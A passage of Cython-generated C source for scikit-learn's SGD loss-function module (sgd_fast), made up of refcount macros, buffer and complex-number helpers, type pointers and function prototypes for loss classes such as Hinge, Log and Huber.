__pyx_t_7sklearn_5utils_13weight_vector_DOUBLE *, __pyx_t_7sklearn_5utils_13weight_vector_INTEGER *, int);\n  void (*scale)(struct __pyx_obj_7sklearn_5utils_13weight_vector_WeightVector *, double);\n  void (*reset_wscale)(struct __pyx_obj_7sklearn_5utils_13weight_vector_WeightVector *);\n  double (*norm)(struct __pyx_obj_7sklearn_5utils_13weight_vector_WeightVector *);\n};\nstatic struct __pyx_vtabstruct_7sklearn_5utils_13weight_vector_WeightVector *__pyx_vtabptr_7sklearn_5utils_13weight_vector_WeightVector;\n#ifndef CYTHON_REFNANNY\n  #define CYTHON_REFNANNY 0\n#endif\n#if CYTHON_REFNANNY\n  typedef struct {\n    void (*INCREF)(void*, PyObject*, int);\n    void (*DECREF)(void*, PyObject*, int);\n    void (*GOTREF)(void*, PyObject*, int);\n    void (*GIVEREF)(void*, PyObject*, int);\n    void* (*SetupContext)(const char*, int, const char*);\n    void (*FinishContext)(void**);\n  } __Pyx_RefNannyAPIStruct;\n  static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL;\n  static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); /*proto*/\n  #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL;\n#ifdef WITH_THREAD\n  #define __Pyx_RefNannySetupContext(name, acquire_gil) \\\n          if (acquire_gil) { \\\n              PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure(); \\\n              __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__); \\\n              PyGILState_Release(__pyx_gilstate_save); \\\n          } else { \\\n              __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__); \\\n          }\n#else\n  #define __Pyx_RefNannySetupContext(name, acquire_gil) \\\n          __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__)\n#endif\n  #define __Pyx_RefNannyFinishContext() \\\n          __Pyx_RefNanny->FinishContext(&__pyx_refnanny)\n  #define __Pyx_INCREF(r)  __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__)\n  #define __Pyx_DECREF(r)  __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__)\n  #define __Pyx_GOTREF(r)  __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__)\n  #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__)\n  #define __Pyx_XINCREF(r)  do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0)\n  #define __Pyx_XDECREF(r)  do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0)\n  #define __Pyx_XGOTREF(r)  do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0)\n  #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0)\n#else\n  #define __Pyx_RefNannyDeclarations\n  #define __Pyx_RefNannySetupContext(name, acquire_gil)\n  #define __Pyx_RefNannyFinishContext()\n  #define __Pyx_INCREF(r) Py_INCREF(r)\n  #define __Pyx_DECREF(r) Py_DECREF(r)\n  #define __Pyx_GOTREF(r)\n  #define __Pyx_GIVEREF(r)\n  #define __Pyx_XINCREF(r) Py_XINCREF(r)\n  #define __Pyx_XDECREF(r) Py_XDECREF(r)\n  #define __Pyx_XGOTREF(r)\n  #define __Pyx_XGIVEREF(r)\n#endif /* CYTHON_REFNANNY */\n#define __Pyx_CLEAR(r)    do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0)\n#define __Pyx_XCLEAR(r)   do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0)\n\nstatic PyObject *__Pyx_GetName(PyObject *dict, PyObject *name); /*proto*/\n\nstatic CYTHON_INLINE void __Pyx_ErrRestore(PyObject *type, PyObject *value, PyObject *tb); /*proto*/\nstatic CYTHON_INLINE void __Pyx_ErrFetch(PyObject **type, PyObject **value, PyObject **tb); /*proto*/\n\nstatic void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); /*proto*/\n\nstatic void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact,\n    Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); /*proto*/\n\nstatic void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); /*proto*/\n\nstatic int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[], \\\n    PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, \\\n    const char* function_name); /*proto*/\n\nstatic int __Pyx_ArgTypeTest(PyObject *obj, PyTypeObject *type, int none_allowed,\n    const char *name, int exact); /*proto*/\n\nstatic CYTHON_INLINE int  __Pyx_GetBufferAndValidate(Py_buffer* buf, PyObject* obj,\n    __Pyx_TypeInfo* dtype, int flags, int nd, int cast, __Pyx_BufFmt_StackElem* stack);\nstatic CYTHON_INLINE void __Pyx_SafeReleaseBuffer(Py_buffer* info);\n\nstatic CYTHON_INLINE int __Pyx_TypeTest(PyObject *obj, PyTypeObject *type); /*proto*/\n\nstatic void __Pyx_RaiseBufferFallbackError(void); /*proto*/\n\nstatic CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) {\n    PyObject *r;\n    if (!j) return NULL;\n    r = PyObject_GetItem(o, j);\n    Py_DECREF(j);\n    return r;\n}\n#define __Pyx_GetItemInt_List(o, i, size, to_py_func) (((size) <= sizeof(Py_ssize_t)) ? \\\n                                                    __Pyx_GetItemInt_List_Fast(o, i) : \\\n                                                    __Pyx_GetItemInt_Generic(o, to_py_func(i)))\nstatic CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i) {\n#if CYTHON_COMPILING_IN_CPYTHON\n    if (likely((0 <= i) & (i < PyList_GET_SIZE(o)))) {\n        PyObject *r = PyList_GET_ITEM(o, i);\n        Py_INCREF(r);\n        return r;\n    }\n    else if ((-PyList_GET_SIZE(o) <= i) & (i < 0)) {\n        PyObject *r = PyList_GET_ITEM(o, PyList_GET_SIZE(o) + i);\n        Py_INCREF(r);\n        return r;\n    }\n    return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i));\n#else\n    return PySequence_GetItem(o, i);\n#endif\n}\n#define __Pyx_GetItemInt_Tuple(o, i, size, to_py_func) (((size) <= sizeof(Py_ssize_t)) ? \\\n                                                    __Pyx_GetItemInt_Tuple_Fast(o, i) : \\\n                                                    __Pyx_GetItemInt_Generic(o, to_py_func(i)))\nstatic CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i) {\n#if CYTHON_COMPILING_IN_CPYTHON\n    if (likely((0 <= i) & (i < PyTuple_GET_SIZE(o)))) {\n        PyObject *r = PyTuple_GET_ITEM(o, i);\n        Py_INCREF(r);\n        return r;\n    }\n    else if ((-PyTuple_GET_SIZE(o) <= i) & (i < 0)) {\n        PyObject *r = PyTuple_GET_ITEM(o, PyTuple_GET_SIZE(o) + i);\n        Py_INCREF(r);\n        return r;\n    }\n    return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i));\n#else\n    return PySequence_GetItem(o, i);\n#endif\n}\n#define __Pyx_GetItemInt(o, i, size, to_py_func) (((size) <= sizeof(Py_ssize_t)) ? \\\n                                                    __Pyx_GetItemInt_Fast(o, i) : \\\n                                                    __Pyx_GetItemInt_Generic(o, to_py_func(i)))\nstatic CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i) {\n#if CYTHON_COMPILING_IN_CPYTHON\n    if (PyList_CheckExact(o)) {\n        Py_ssize_t n = (likely(i >= 0)) ? i : i + PyList_GET_SIZE(o);\n        if (likely((n >= 0) & (n < PyList_GET_SIZE(o)))) {\n            PyObject *r = PyList_GET_ITEM(o, n);\n            Py_INCREF(r);\n            return r;\n        }\n    }\n    else if (PyTuple_CheckExact(o)) {\n        Py_ssize_t n = (likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o);\n        if (likely((n >= 0) & (n < PyTuple_GET_SIZE(o)))) {\n            PyObject *r = PyTuple_GET_ITEM(o, n);\n            Py_INCREF(r);\n            return r;\n        }\n    } else {  /* inlined PySequence_GetItem() */\n        PySequenceMethods *m = Py_TYPE(o)->tp_as_sequence;\n        if (likely(m && m->sq_item)) {\n            if (unlikely(i < 0) && likely(m->sq_length)) {\n                Py_ssize_t l = m->sq_length(o);\n                if (unlikely(l < 0)) return NULL;\n                i += l;\n            }\n            return m->sq_item(o, i);\n        }\n    }\n#else\n    if (PySequence_Check(o)) {\n        return PySequence_GetItem(o, i);\n    }\n#endif\n    return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i));\n}\n\nstatic CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected);\n\nstatic CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index);\n\nstatic CYTHON_INLINE void __Pyx_RaiseNoneNotIterableError(void);\n\nstatic CYTHON_INLINE int __Pyx_IterFinish(void); /*proto*/\n\nstatic int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected); /*proto*/\n\ntypedef struct {\n  Py_ssize_t shape, strides, suboffsets;\n} __Pyx_Buf_DimInfo;\ntypedef struct {\n  size_t refcount;\n  Py_buffer pybuffer;\n} __Pyx_Buffer;\ntypedef struct {\n  __Pyx_Buffer *rcbuffer;\n  char *data;\n  __Pyx_Buf_DimInfo diminfo[8];\n} __Pyx_LocalBuf_ND;\n\n#if PY_MAJOR_VERSION < 3\n    static int __Pyx_GetBuffer(PyObject *obj, Py_buffer *view, int flags);\n    static void __Pyx_ReleaseBuffer(Py_buffer *view);\n#else\n    #define __Pyx_GetBuffer PyObject_GetBuffer\n    #define __Pyx_ReleaseBuffer PyBuffer_Release\n#endif\n\n\nstatic Py_ssize_t __Pyx_zeros[] = {0, 0, 0, 0, 0, 0, 0, 0};\nstatic Py_ssize_t __Pyx_minusones[] = {-1, -1, -1, -1, -1, -1, -1, -1};\n\nstatic PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, long level); /*proto*/\n\nstatic CYTHON_INLINE void __Pyx_RaiseImportError(PyObject *name);\n\nstatic int __Pyx_Print(PyObject*, PyObject *, int); /*proto*/\n#if CYTHON_COMPILING_IN_PYPY || PY_MAJOR_VERSION >= 3\nstatic PyObject* __pyx_print = 0;\nstatic PyObject* __pyx_print_kwargs = 0;\n#endif\n\nstatic int __Pyx_PrintOne(PyObject* stream, PyObject *o); /*proto*/\n\n#if CYTHON_CCOMPLEX\n  #ifdef __cplusplus\n    #define __Pyx_CREAL(z) ((z).real())\n    #define __Pyx_CIMAG(z) ((z).imag())\n  #else\n    #define __Pyx_CREAL(z) (__real__(z))\n    #define __Pyx_CIMAG(z) (__imag__(z))\n  #endif\n#else\n    #define __Pyx_CREAL(z) ((z).real)\n    #define __Pyx_CIMAG(z) ((z).imag)\n#endif\n#if defined(_WIN32) && defined(__cplusplus) && CYTHON_CCOMPLEX\n    #define __Pyx_SET_CREAL(z,x) ((z).real(x))\n    #define __Pyx_SET_CIMAG(z,y) ((z).imag(y))\n#else\n    #define __Pyx_SET_CREAL(z,x) __Pyx_CREAL(z) = (x)\n    #define __Pyx_SET_CIMAG(z,y) __Pyx_CIMAG(z) = (y)\n#endif\n\nstatic CYTHON_INLINE __pyx_t_float_complex __pyx_t_float_complex_from_parts(float, float);\n\n#if CYTHON_CCOMPLEX\n    #define __Pyx_c_eqf(a, b)   ((a)==(b))\n    #define __Pyx_c_sumf(a, b)  ((a)+(b))\n    #define __Pyx_c_difff(a, b) ((a)-(b))\n    #define __Pyx_c_prodf(a, b) ((a)*(b))\n    #define __Pyx_c_quotf(a, b) ((a)/(b))\n    #define __Pyx_c_negf(a)     (-(a))\n  #ifdef __cplusplus\n    #define __Pyx_c_is_zerof(z) ((z)==(float)0)\n    #define __Pyx_c_conjf(z)    (::std::conj(z))\n    #if 1\n        #define __Pyx_c_absf(z)     (::std::abs(z))\n        #define __Pyx_c_powf(a, b)  (::std::pow(a, b))\n    #endif\n  #else\n    #define __Pyx_c_is_zerof(z) ((z)==0)\n    #define __Pyx_c_conjf(z)    (conjf(z))\n    #if 1\n        #define __Pyx_c_absf(z)     (cabsf(z))\n        #define __Pyx_c_powf(a, b)  (cpowf(a, b))\n    #endif\n #endif\n#else\n    static CYTHON_INLINE int __Pyx_c_eqf(__pyx_t_float_complex, __pyx_t_float_complex);\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_sumf(__pyx_t_float_complex, __pyx_t_float_complex);\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_difff(__pyx_t_float_complex, __pyx_t_float_complex);\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_prodf(__pyx_t_float_complex, __pyx_t_float_complex);\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_quotf(__pyx_t_float_complex, __pyx_t_float_complex);\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_negf(__pyx_t_float_complex);\n    static CYTHON_INLINE int __Pyx_c_is_zerof(__pyx_t_float_complex);\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_conjf(__pyx_t_float_complex);\n    #if 1\n        static CYTHON_INLINE float __Pyx_c_absf(__pyx_t_float_complex);\n        static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_powf(__pyx_t_float_complex, __pyx_t_float_complex);\n    #endif\n#endif\n\nstatic CYTHON_INLINE __pyx_t_double_complex __pyx_t_double_complex_from_parts(double, double);\n\n#if CYTHON_CCOMPLEX\n    #define __Pyx_c_eq(a, b)   ((a)==(b))\n    #define __Pyx_c_sum(a, b)  ((a)+(b))\n    #define __Pyx_c_diff(a, b) ((a)-(b))\n    #define __Pyx_c_prod(a, b) ((a)*(b))\n    #define __Pyx_c_quot(a, b) ((a)/(b))\n    #define __Pyx_c_neg(a)     (-(a))\n  #ifdef __cplusplus\n    #define __Pyx_c_is_zero(z) ((z)==(double)0)\n    #define __Pyx_c_conj(z)    (::std::conj(z))\n    #if 1\n        #define __Pyx_c_abs(z)     (::std::abs(z))\n        #define __Pyx_c_pow(a, b)  (::std::pow(a, b))\n    #endif\n  #else\n    #define __Pyx_c_is_zero(z) ((z)==0)\n    #define __Pyx_c_conj(z)    (conj(z))\n    #if 1\n        #define __Pyx_c_abs(z)     (cabs(z))\n        #define __Pyx_c_pow(a, b)  (cpow(a, b))\n    #endif\n #endif\n#else\n    static CYTHON_INLINE int __Pyx_c_eq(__pyx_t_double_complex, __pyx_t_double_complex);\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_sum(__pyx_t_double_complex, __pyx_t_double_complex);\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_diff(__pyx_t_double_complex, __pyx_t_double_complex);\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_prod(__pyx_t_double_complex, __pyx_t_double_complex);\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_quot(__pyx_t_double_complex, __pyx_t_double_complex);\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_neg(__pyx_t_double_complex);\n    static CYTHON_INLINE int __Pyx_c_is_zero(__pyx_t_double_complex);\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_conj(__pyx_t_double_complex);\n    #if 1\n        static CYTHON_INLINE double __Pyx_c_abs(__pyx_t_double_complex);\n        static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_pow(__pyx_t_double_complex, __pyx_t_double_complex);\n    #endif\n#endif\n\nstatic CYTHON_INLINE unsigned char __Pyx_PyInt_AsUnsignedChar(PyObject *);\n\nstatic CYTHON_INLINE unsigned short __Pyx_PyInt_AsUnsignedShort(PyObject *);\n\nstatic CYTHON_INLINE unsigned int __Pyx_PyInt_AsUnsignedInt(PyObject *);\n\nstatic CYTHON_INLINE char __Pyx_PyInt_AsChar(PyObject *);\n\nstatic CYTHON_INLINE short __Pyx_PyInt_AsShort(PyObject *);\n\nstatic CYTHON_INLINE int __Pyx_PyInt_AsInt(PyObject *);\n\nstatic CYTHON_INLINE signed char __Pyx_PyInt_AsSignedChar(PyObject *);\n\nstatic CYTHON_INLINE signed short __Pyx_PyInt_AsSignedShort(PyObject *);\n\nstatic CYTHON_INLINE signed int __Pyx_PyInt_AsSignedInt(PyObject *);\n\nstatic CYTHON_INLINE int __Pyx_PyInt_AsLongDouble(PyObject *);\n\nstatic CYTHON_INLINE unsigned long __Pyx_PyInt_AsUnsignedLong(PyObject *);\n\nstatic CYTHON_INLINE unsigned PY_LONG_LONG __Pyx_PyInt_AsUnsignedLongLong(PyObject *);\n\nstatic CYTHON_INLINE long __Pyx_PyInt_AsLong(PyObject *);\n\nstatic CYTHON_INLINE PY_LONG_LONG __Pyx_PyInt_AsLongLong(PyObject *);\n\nstatic CYTHON_INLINE signed long __Pyx_PyInt_AsSignedLong(PyObject *);\n\nstatic CYTHON_INLINE signed PY_LONG_LONG __Pyx_PyInt_AsSignedLongLong(PyObject *);\n\nstatic void __Pyx_WriteUnraisable(const char *name, int clineno,\n                                  int lineno, const char *filename); /*proto*/\n\nstatic int __Pyx_check_binary_version(void);\n\nstatic int __Pyx_SetVtable(PyObject *dict, void *vtable); /*proto*/\n\n#if !defined(__Pyx_PyIdentifier_FromString)\n#if PY_MAJOR_VERSION < 3\n  #define __Pyx_PyIdentifier_FromString(s) PyString_FromString(s)\n#else\n  #define __Pyx_PyIdentifier_FromString(s) PyUnicode_FromString(s)\n#endif\n#endif\n\nstatic PyObject *__Pyx_ImportModule(const char *name); /*proto*/\n\nstatic PyTypeObject *__Pyx_ImportType(const char *module_name, const char *class_name, size_t size, int strict);  /*proto*/\n\nstatic void* __Pyx_GetVtable(PyObject *dict); /*proto*/\n\ntypedef struct {\n    int code_line;\n    PyCodeObject* code_object;\n} __Pyx_CodeObjectCacheEntry;\nstruct __Pyx_CodeObjectCache {\n    int count;\n    int max_count;\n    __Pyx_CodeObjectCacheEntry* entries;\n};\nstatic struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL};\nstatic int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line);\nstatic PyCodeObject *__pyx_find_code_object(int code_line);\nstatic void __pyx_insert_code_object(int code_line, PyCodeObject* code_object);\n\nstatic void __Pyx_AddTraceback(const char *funcname, int c_line,\n                               int py_line, const char *filename); /*proto*/\n\nstatic int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /*proto*/\n\n\n/* Module declarations from 'libc.math' */\n\n/* Module declarations from 'cpython.buffer' */\n\n/* Module declarations from 'cpython.ref' */\n\n/* Module declarations from 'libc.stdio' */\n\n/* Module declarations from 'cpython.object' */\n\n/* Module declarations from '__builtin__' */\n\n/* Module declarations from 'cpython.type' */\nstatic PyTypeObject *__pyx_ptype_7cpython_4type_type = 0;\n\n/* Module declarations from 'libc.stdlib' */\n\n/* Module declarations from 'numpy' */\n\n/* Module declarations from 'numpy' */\nstatic PyTypeObject *__pyx_ptype_5numpy_dtype = 0;\nstatic PyTypeObject *__pyx_ptype_5numpy_flatiter = 0;\nstatic PyTypeObject *__pyx_ptype_5numpy_broadcast = 0;\nstatic PyTypeObject *__pyx_ptype_5numpy_ndarray = 0;\nstatic PyTypeObject *__pyx_ptype_5numpy_ufunc = 0;\nstatic CYTHON_INLINE char *__pyx_f_5numpy__util_dtypestring(PyArray_Descr *, char *, char *, int *); /*proto*/\n\n/* Module declarations from 'cython' */\n\n/* Module declarations from 'sklearn.utils.weight_vector' */\nstatic PyTypeObject *__pyx_ptype_7sklearn_5utils_13weight_vector_WeightVector = 0;\n\n/* Module declarations from 'sklearn.utils.seq_dataset' */\nstatic PyTypeObject *__pyx_ptype_7sklearn_5utils_11seq_dataset_SequentialDataset = 0;\nstatic PyTypeObject *__pyx_ptype_7sklearn_5utils_11seq_dataset_ArrayDataset = 0;\nstatic PyTypeObject *__pyx_ptype_7sklearn_5utils_11seq_dataset_CSRDataset = 0;\n\n/* Module declarations from 'sklearn.linear_model.sgd_fast' */\nstatic PyTypeObject *__pyx_ptype_7sklearn_12linear_model_8sgd_fast_LossFunction = 0;\nstatic PyTypeObject *__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Regression = 0;\nstatic PyTypeObject *__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Classification = 0;\nstatic PyTypeObject *__pyx_ptype_7sklearn_12linear_model_8sgd_fast_ModifiedHuber = 0;\nstatic PyTypeObject *__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Hinge = 0;\nstatic PyTypeObject *__pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredHinge = 0;\nstatic PyTypeObject *__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Log = 0;\nstatic PyTypeObject *__pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredLoss = 0;\nstatic PyTypeObject *__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Huber = 0;\nstatic PyTypeObject *__pyx_ptype_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive = 0;\nstatic PyTypeObject *__pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive = 0;\nstatic CYTHON_INLINE double __pyx_f_7sklearn_12linear_model_8sgd_fast_max(double, double); /*proto*/\nstatic CYTHON_INLINE double __pyx_f_7sklearn_12linear_model_8sgd_fast_min(double, double); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_sqnorm(__pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE *, __pyx_t_7sklearn_12linear_model_8sgd_fast_INTEGER *, int); /*proto*/\nstatic void __pyx_f_7sklearn_12linear_model_8sgd_fast_l1penalty(struct __pyx_obj_7sklearn_5utils_13weight_vector_WeightVector *, __pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE *, __pyx_t_7sklearn_12linear_model_8sgd_fast_INTEGER *, int, double); /*proto*/\nstatic __Pyx_TypeInfo __Pyx_TypeInfo_nn___pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE = { \"DOUBLE\", NULL, sizeof(__pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE), { 0 }, 0, 'R', 0, 0 };\n#define __Pyx_MODULE_NAME \"sklearn.linear_model.sgd_fast\"\nint __pyx_module_is_main_sklearn__linear_model__sgd_fast = 0;\n\n/* Implementation of 'sklearn.linear_model.sgd_fast' */\nstatic PyObject *__pyx_builtin_NotImplementedError;\nstatic PyObject *__pyx_builtin_range;\nstatic PyObject *__pyx_builtin_ValueError;\nstatic PyObject *__pyx_builtin_RuntimeError;\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_12LossFunction_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_12LossFunction_2dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_10Regression_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_10Regression_2dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_14Classification_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_14Classification_2dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_2dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_4__reduce__(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *__pyx_v_self); /* proto */\nstatic int __pyx_pf_7sklearn_12linear_model_8sgd_fast_5Hinge___init__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *__pyx_v_self, double __pyx_v_threshold); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_5Hinge_2loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_5Hinge_4dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_5Hinge_6__reduce__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *__pyx_v_self); /* proto */\nstatic int __pyx_pf_7sklearn_12linear_model_8sgd_fast_12SquaredHinge___init__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *__pyx_v_self, double __pyx_v_threshold); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_2loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_4dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_6__reduce__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *__pyx_v_self); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_3Log_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_3Log_2dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_3Log_4__reduce__(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *__pyx_v_self); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_2dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_4__reduce__(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *__pyx_v_self); /* proto */\nstatic int __pyx_pf_7sklearn_12linear_model_8sgd_fast_5Huber___init__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *__pyx_v_self, double __pyx_v_c); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_5Huber_2loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_5Huber_4dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_5Huber_6__reduce__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *__pyx_v_self); /* proto */\nstatic int __pyx_pf_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive___init__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *__pyx_v_self, double __pyx_v_epsilon); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_2loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_4dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject 